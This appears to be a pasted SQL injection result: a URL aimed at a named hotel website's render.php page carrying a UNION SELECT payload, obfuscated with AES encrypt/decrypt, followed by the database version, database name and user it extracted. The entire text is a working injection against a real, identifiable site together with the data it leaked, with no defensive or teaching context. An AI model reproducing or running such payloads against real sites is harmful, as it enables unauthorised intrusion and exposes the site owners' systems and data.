http://www.hotel-cota1400.ro/render.php?page=100'+UNION+SELECT+AES_DECRYPT(AES_ ENCRYPT(CONCAT(Version(),Database(),User()),0x71), 0x71),2,3,4,5,6,7/*

Version: 4.1.22-standard-log
Databse: hotelco_public
User: hotelco_cota1400@localhost